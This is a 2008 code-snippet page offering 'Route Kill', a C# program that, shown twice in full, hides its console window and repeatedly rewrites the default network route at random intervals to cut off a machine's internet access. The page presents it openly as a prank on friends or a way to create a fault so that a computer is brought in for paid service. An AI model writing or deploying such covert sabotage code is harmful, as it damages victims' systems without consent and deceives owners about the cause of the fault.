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Route Kill

The purpose is to muck with the routing table for either a joke on your friends or in the case of why it was originally made, to create a problem so that the computer would be brought in for service. Snippet also demonstrates how to hide the cmd window when running scripts from a C# application.

Submitted By: snoj

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Rating:

Views: 1,274

Language: C#

Last Modified: December 24, 2008

Instructions: If need be, change "192.168.1.2" to whatever IP address you require.

Snippet

using System;
using System.Collections.Generic;
using System.Diagnostics;
namespace routekill
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// This simple application routes all internet traffic to 192.168.1.2 or whatever ip it's set to.
/// The purpose is to muck with the routing table for either a joke on your friends or in the case of
/// why it was originally made, to create a problem so that the computer would be brought in for service.
///
/// Application changes default route at random times between 1 and 60 seconds.
/// </summary>
[STAThread]
static void Main()
{
Random r = new Random();
System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
Process a;
while (true)
{
//Added ProcessWindowStyle.Hidden which should hide
//the cmd window.
a = new Process();
a.StartInfo.CreateNoWindow = true;
a.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
a.StartInfo.FileName = "route";
a.StartInfo.Arguments = "change 0.0.0.0 mask 0.0.0.0 192.168.1.2";
a.Start();
a.Close();
System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
}
}
}
}

Copy & Paste

using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace routekill
{
    static class Program
    {
        /// <summary>
        /// The main entry point for the application.
        /// This simple application routes all internet traffic to 192.168.1.2 or whatever ip it's set to.
	/// The purpose is to muck with the routing table for either a joke on your friends or in the case of 
	/// why it was originally made, to create a problem so that the computer would be brought in for service.
	///
	/// Application changes default route at random times between 1 and 60 seconds.
        /// </summary>
        [STAThread]
        static void Main()
        {
            Random r = new Random();
            System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
            Process a;
            while (true)
            {
                //Added ProcessWindowStyle.Hidden which should hide
                //the cmd window.
                a = new Process();
                a.StartInfo.CreateNoWindow = true;
                a.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                a.StartInfo.FileName = "route";
                a.StartInfo.Arguments = "change 0.0.0.0 mask 0.0.0.0 192.168.1.2";
                a.Start();
                a.Close();
                System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
            }
        }
    }
}